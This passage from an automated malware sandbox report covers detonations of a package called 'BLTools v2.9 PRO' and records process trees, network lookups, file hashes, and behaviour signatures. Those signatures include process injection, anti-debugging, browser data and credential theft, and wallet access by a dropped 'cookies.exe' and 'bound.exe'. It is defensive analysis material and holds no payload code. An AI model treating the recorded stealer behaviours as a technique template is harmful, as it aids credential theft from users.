PID 4172 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe
PID 4172 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe

Processes

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe"

C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\cookies.exe"

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 101.11.19.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

memory/4172-1-0x00007FFF7F40D000-0x00007FFF7F40E000-memory.dmp

memory/4172-3-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-2-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-6-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-5-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-4-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-8-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-9-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-7-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\evb99DF.tmp

MD5 db06a35e2ee985807f483d8413871491
SHA1 4c7d6bccea5ddddd9b0d19c6f9d7b7852b896987
SHA256 863d00444d1ce2e014b025f9fc84ac464c2ea08955edae963599a66b3f1dd95f
SHA512 a2519b47d05e5e5249ecd4220b4ed94cabc1c7f82d238d0442b32b6a601d908f0e804414dfdec15c1e7d87e1cdbb8fa0bef7a796c405aae28273be339ea8c1a1

memory/4172-12-0x0000000004840000-0x0000000004E7C000-memory.dmp

memory/4172-16-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-19-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4272-22-0x0000000000110000-0x0000000000111000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp

MD5 b8152180651818ef0e382061760fae83
SHA1 5aa82224ab08cd413f39138ac5735d412b386d17
SHA256 c1d8fa3babfd42de6cdb8a58ed9ab18ba420a5009e4702619441356cddc7ccf7
SHA512 99dc032861e0d799ecdb457b4bf3ce5eb317c1b56f46c0457227b6bc425fd9019b8a4be4fb106c5e73c9c4b4b80e9ba79bc78502c98f0b1d34eab90a342f854b

\??\c:\users\admin\appdata\local\temp\bltools v2.9 pro\BLTools v2.9 PRO.exe

MD5 8c949c1a3189fc8845f22295ee72a150
SHA1 1df3585b887e077251008c68f233f128c08b0b74
SHA256 53b6b47c5dbfbb8ea17990309e9549acc44d8b5d4b1c9e76ec754653f5d31870
SHA512 b27d485b3cd4633edb245659c581458f20b67859f4e7d02205a68824d41dd216882989a807c01d5468e3f99beb78850fa7aeb217f7b8ac8ad30f3a652fc24066

memory/4172-68-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-69-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4272-73-0x00007FFEFF570000-0x00007FFEFF580000-memory.dmp

memory/4272-72-0x0000000000050000-0x00000000000F3000-memory.dmp

memory/4172-76-0x00007FFF7F370000-0x00007FFF7F565000-memory.dmp

memory/4172-75-0x0000000140000000-0x00000001400D3000-memory.dmp

memory/4272-71-0x0000000140000000-0x000000014063C000-memory.dmp

memory/1824-77-0x0000000000620000-0x0000000000D48000-memory.dmp

memory/4172-78-0x0000000004840000-0x0000000004E7C000-memory.dmp

memory/1824-79-0x0000000001640000-0x0000000001641000-memory.dmp

memory/1824-80-0x00000000055C0000-0x00000000055E4000-memory.dmp

memory/1824-81-0x0000000005630000-0x0000000005650000-memory.dmp

memory/1824-82-0x0000000006500000-0x0000000006E2C000-memory.dmp

memory/1824-83-0x00000000056B0000-0x0000000005700000-memory.dmp

memory/1824-84-0x0000000005BD0000-0x0000000005C30000-memory.dmp

memory/1824-85-0x0000000006E30000-0x00000000073D4000-memory.dmp

memory/1824-86-0x0000000005D00000-0x0000000005E42000-memory.dmp

memory/1824-88-0x00000000073E0000-0x0000000007472000-memory.dmp

memory/1824-87-0x0000000006430000-0x00000000064EA000-memory.dmp

memory/1824-90-0x0000000009490000-0x000000000949E000-memory.dmp

memory/1824-89-0x00000000096F0000-0x0000000009728000-memory.dmp

memory/1824-91-0x0000000007C30000-0x0000000007C42000-memory.dmp

memory/1824-92-0x0000000007960000-0x0000000007968000-memory.dmp

memory/4172-93-0x0000000004840000-0x0000000004E7C000-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

151s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Extreme.Net.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Extreme.Net.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A

Analysis: behavioral14

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

134s

Max time network

145s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignColors.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignColors.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 45.19.74.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 110.11.19.2.in-addr.arpa udp
US 8.8.8.8:53 101.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

N/A

Analysis: behavioral17

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20240903-en

Max time kernel

121s

Max time network

123s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Microsoft.Xaml.Behaviors.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Microsoft.Xaml.Behaviors.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral19

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20240903-en

Max time kernel

122s

Max time network

124s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Ookii.Dialogs.Wpf.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Ookii.Dialogs.Wpf.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral21

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20241023-en

Max time kernel

121s

Max time network

124s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\Gumroad Balance.js"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\Gumroad Balance.js"

Network

N/A

Files

N/A

Analysis: behavioral22

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

136s

Max time network

141s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\Gumroad Balance.js"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\Gumroad Balance.js"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 99.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 103.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp

Files

N/A

Analysis: behavioral23

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20241010-en

Max time kernel

11s

Max time network

19s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\zelenka.guru.js"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\zelenka.guru.js"

Network

N/A

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20240903-en

Max time kernel

117s

Max time network

119s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\AlphaFS.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\AlphaFS.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20241010-en

Max time kernel

119s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\evb783D.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1824 set thread context of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb783D.tmp
PID 1824 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe
PID 1824 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe
PID 1824 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe
PID 1824 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe
PID 2824 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\evb783D.tmp C:\Windows\system32\conhost.exe
PID 2824 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\evb783D.tmp C:\Windows\system32\conhost.exe
PID 2824 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\evb783D.tmp C:\Windows\system32\conhost.exe
PID 2824 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\evb783D.tmp C:\Windows\system32\conhost.exe

Processes

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe"

C:\Users\Admin\AppData\Local\Temp\evb783D.tmp

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\cookies.exe"

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe"

C:\Windows\system32\conhost.exe

conhost.exe

Network

N/A

Files

memory/1824-2-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/1824-1-0x00000000779E1000-0x00000000779E2000-memory.dmp

memory/1824-12-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/2824-25-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

memory/1824-29-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/1824-30-0x0000000077990000-0x0000000077B39000-memory.dmp

\??\c:\users\admin\appdata\local\temp\bltools v2.9 pro\BLTools v2.9 PRO.exe

MD5 8c949c1a3189fc8845f22295ee72a150
SHA1 1df3585b887e077251008c68f233f128c08b0b74
SHA256 53b6b47c5dbfbb8ea17990309e9549acc44d8b5d4b1c9e76ec754653f5d31870
SHA512 b27d485b3cd4633edb245659c581458f20b67859f4e7d02205a68824d41dd216882989a807c01d5468e3f99beb78850fa7aeb217f7b8ac8ad30f3a652fc24066

memory/1824-34-0x0000000077990000-0x0000000077B39000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\evb783D.tmp

MD5 b8152180651818ef0e382061760fae83
SHA1 5aa82224ab08cd413f39138ac5735d412b386d17
SHA256 c1d8fa3babfd42de6cdb8a58ed9ab18ba420a5009e4702619441356cddc7ccf7
SHA512 99dc032861e0d799ecdb457b4bf3ce5eb317c1b56f46c0457227b6bc425fd9019b8a4be4fb106c5e73c9c4b4b80e9ba79bc78502c98f0b1d34eab90a342f854b

memory/1824-24-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/1824-39-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/2824-43-0x0000000140000000-0x000000014063C000-memory.dmp

memory/1824-42-0x00000000035A0000-0x0000000003BDC000-memory.dmp

memory/2824-41-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/1824-40-0x00000000035A0000-0x0000000003BDC000-memory.dmp

memory/1824-38-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/2824-36-0x0000000140000000-0x000000014063C000-memory.dmp

memory/2824-35-0x0000000140000000-0x000000014063C000-memory.dmp

memory/2824-21-0x00000000004F0000-0x00000000004F1000-memory.dmp

memory/1824-20-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/1824-15-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/1824-13-0x00000000035A0000-0x0000000003BDC000-memory.dmp

memory/2824-6-0x00000000004E0000-0x00000000004E1000-memory.dmp

memory/2824-4-0x0000000000430000-0x00000000004D3000-memory.dmp

memory/1824-46-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/2824-50-0x0000000077990000-0x0000000077B39000-memory.dmp

memory/2824-49-0x0000000140000000-0x000000014063C000-memory.dmp

memory/2104-47-0x0000000000060000-0x0000000000068000-memory.dmp

memory/1824-45-0x0000000140000000-0x00000001400D3000-memory.dmp

memory/2064-51-0x0000000000D80000-0x00000000014A8000-memory.dmp

memory/2064-52-0x00000000002D0000-0x00000000002D1000-memory.dmp

memory/2104-53-0x0000000000200000-0x000000000020C000-memory.dmp

memory/2064-54-0x00000000004C0000-0x00000000004E4000-memory.dmp

memory/2064-55-0x0000000000600000-0x0000000000620000-memory.dmp

memory/2064-57-0x0000000000A40000-0x0000000000A90000-memory.dmp

memory/2064-56-0x0000000005DF0000-0x000000000671C000-memory.dmp

memory/2064-58-0x0000000004A60000-0x0000000004AC0000-memory.dmp

memory/2064-59-0x0000000006720000-0x0000000006862000-memory.dmp

memory/2064-60-0x0000000000AB0000-0x0000000000ABA000-memory.dmp

memory/2064-61-0x0000000000AB0000-0x0000000000ABA000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

139s

Max time network

141s

Command Line

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe"

Signatures

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI34642\rar.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

